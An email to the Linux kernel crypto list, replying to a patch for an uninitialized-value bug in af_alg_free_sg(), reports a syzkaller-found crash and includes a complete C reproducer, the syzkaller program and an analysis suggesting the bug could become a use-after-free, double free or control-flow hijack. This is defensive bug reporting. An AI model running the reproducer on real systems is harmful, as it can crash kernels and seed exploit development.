Received-SPF: pass (google.com: domain of linux-crypto+bounces-1198-linux.lists.archive=gmail.com@vger.kernel.org designates 139.178.88.99 as permitted sender) client-ip=139.178.88.99;
Precedence: bulk
MIME-Version: 1.0
From: xingwei lee <xrivendell7@gmail.com>
Date: Wed, 3 Jan 2024 11:05:24 +0800
Message-ID: <CABOYnLxaHBEaSRaEU+kDsHF8a=9AokO1ZUEVtpeT9ddL8giw3A@mail.gmail.com>
Subject: Re: [PATCH] crypto: af_alg/hash: Fix uninit-value access in af_alg_free_sg()
To: syoshida@redhat.com
Cc: davem@davemloft.net, dhowells@redhat.com, herbert@gondor.apana.org.au, 
	linux-crypto@vger.kernel.org, linux-kernel@vger.kernel.org
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

Hi,Shigeru and Herbert. Happy New Year anyway.
I also found this bug and tried to reproduce it.
My own syzkaller crashes titled "double-free in af_alg_free_sg=E2=80=9D or
=E2=80=9CKASAN: use-after-free in af_alg_free_sg=E2=80=9D lead me to consid=
er it maybe
a security-related problem.

I reproduced it with repro.c and repro.txt and also bisection to this
commit: https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/comm=
it/crypto/algif_hash.c?id=3Db6d972f6898308fbe7e693bf8d44ebfdb1cd2dc4

=3D* repro.c =3D*
// autogenerated by syzkaller (https://github.com/google/syzkaller)

#define _GNU_SOURCE

#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

uint64_t r[3] =3D {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffff=
ff};

int main(void) {
 syscall(__NR_mmap, /*addr=3D*/0x1ffff000ul, /*len=3D*/0x1000ul, /*prot=3D*=
/0ul,
         /*flags=3D*/0x32ul, /*fd=3D*/-1, /*offset=3D*/0ul);
 syscall(__NR_mmap, /*addr=3D*/0x20000000ul, /*len=3D*/0x1000000ul, /*prot=
=3D*/7ul,
         /*flags=3D*/0x32ul, /*fd=3D*/-1, /*offset=3D*/0ul);
 syscall(__NR_mmap, /*addr=3D*/0x21000000ul, /*len=3D*/0x1000ul, /*prot=3D*=
/0ul,
         /*flags=3D*/0x32ul, /*fd=3D*/-1, /*offset=3D*/0ul);
 intptr_t res =3D 0;
 res =3D syscall(__NR_socket, /*domain=3D*/0x26ul, /*type=3D*/5ul, /*proto=
=3D*/0);
 if (res !=3D -1) r[0] =3D res;
 *(uint16_t*)0x20000040 =3D 0x26;
 memcpy((void*)0x20000042, "hash\000\000\000\000\000\000\000\000\000\000", =
14);
 *(uint32_t*)0x20000050 =3D 0;
 *(uint32_t*)0x20000054 =3D 0;
 memcpy((void*)0x20000058,
        "poly1305\000\000\000\000\000\000\000\000\000\000\000\000\000\000\0=
00"
        "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\0=
00"
        "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\0=
00"
        "\000\000\000\000\000\000\000",
        64);
 syscall(__NR_bind, /*fd=3D*/r[0], /*addr=3D*/0x20000040ul, /*addrlen=3D*/0=
x58ul);
 res =3D syscall(__NR_accept4, /*fd=3D*/r[0], /*peer=3D*/0ul, /*peerlen=3D*=
/0ul,
               /*flags=3D*/0ul);
 if (res !=3D -1) r[1] =3D res;
 *(uint64_t*)0x20000d80 =3D 0;
 *(uint32_t*)0x20000d88 =3D 0;
 *(uint64_t*)0x20000d90 =3D 0x20000d40;
 *(uint64_t*)0x20000d40 =3D 0x20000d00;
 *(uint16_t*)0x20000d00 =3D 0;
 *(uint64_t*)0x20000d48 =3D 0x14;
 *(uint64_t*)0x20000d98 =3D 1;
 *(uint64_t*)0x20000da0 =3D 0;
 *(uint64_t*)0x20000da8 =3D 0;
 *(uint32_t*)0x20000db0 =3D 0;
 syscall(__NR_sendmsg, /*fd=3D*/r[1], /*msg=3D*/0x20000d80ul, /*f=3D*/0x400=
c000ul);
 res =3D syscall(__NR_accept4, /*fd=3D*/r[1], /*peer=3D*/0ul, /*peerlen=3D*=
/0ul,
               /*flags=3D*/0ul);
 if (res !=3D -1) r[2] =3D res;
 *(uint64_t*)0x20000840 =3D 0;
 *(uint32_t*)0x20000848 =3D 0;
 *(uint64_t*)0x20000850 =3D 0;
 *(uint64_t*)0x20000858 =3D 0;
 *(uint64_t*)0x20000860 =3D 0;
 *(uint64_t*)0x20000868 =3D 0;
 *(uint32_t*)0x20000870 =3D 0x4000;
 syscall(__NR_sendmsg, /*fd=3D*/r[2], /*msg=3D*/0x20000840ul, /*f=3D*/0x400=
1ul);
 return 0;
}

=3D* repro.txt =3D*
r0 =3D socket$alg(0x26, 0x5, 0x0)
bind$alg(r0, &(0x7f0000000040)=3D{0x26, 'hash\x00', 0x0, 0x0,
'poly1305\x00'}, 0x58)
r1 =3D accept4(r0, 0x0, 0x0, 0x0)
sendmsg$BATADV_CMD_SET_HARDIF(r1, &(0x7f0000000d80)=3D{0x0, 0x0,
&(0x7f0000000d40)=3D{&(0x7f0000000d00)=3DANY=3D[@ANYBLOB, @ANYRES16=3D0x0,
@ANYBLOB], 0x14}}, 0x400c000)
r2 =3D accept4(r1, 0x0, 0x0, 0x0)
sendmsg$alg(r2, &(0x7f0000000840)=3D{0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x4000}, 0x4001)

After analysing the uninitialized of ctx->sgl, it may cause (without
KMSAN in linux kernel)

void af_alg_free_sg(struct af_alg_sgl *sgl)
{
  int i;

  if (sgl->sgt.sgl) {
    if (sgl->need_unpin)
      for (i =3D 0; i < sgl->sgt.nents; i++)
        unpin_user_page(sg_page(&sgl->sgt.sgl[i]));
    if (sgl->sgt.sgl !=3D sgl->sgl)
      kvfree(sgl->sgt.sgl);
    sgl->sgt.sgl =3D NULL;
  }
}

1. If sgl->sgt.sgl is 0x0, the poc triggers nothing
2. If sgl->sgt.sgl is not null but like 0xbbbbbbbbbbbbbbbb,
unpin_user_page will crash like =E2=80=9Cwild-memory access=E2=80=9D.
3. If sgl->sgt.sgl happens to be a pointer whether it is being used or
released, sgl->sgt.nents<0, kvfree can definitely cause uaf or double
free and maybe lead to control flow hijacking.

The incorrect logic of unlock_free label can really cause security issues.

I hope the reproducer and analysis helps.

Best regards.
xingwei Lee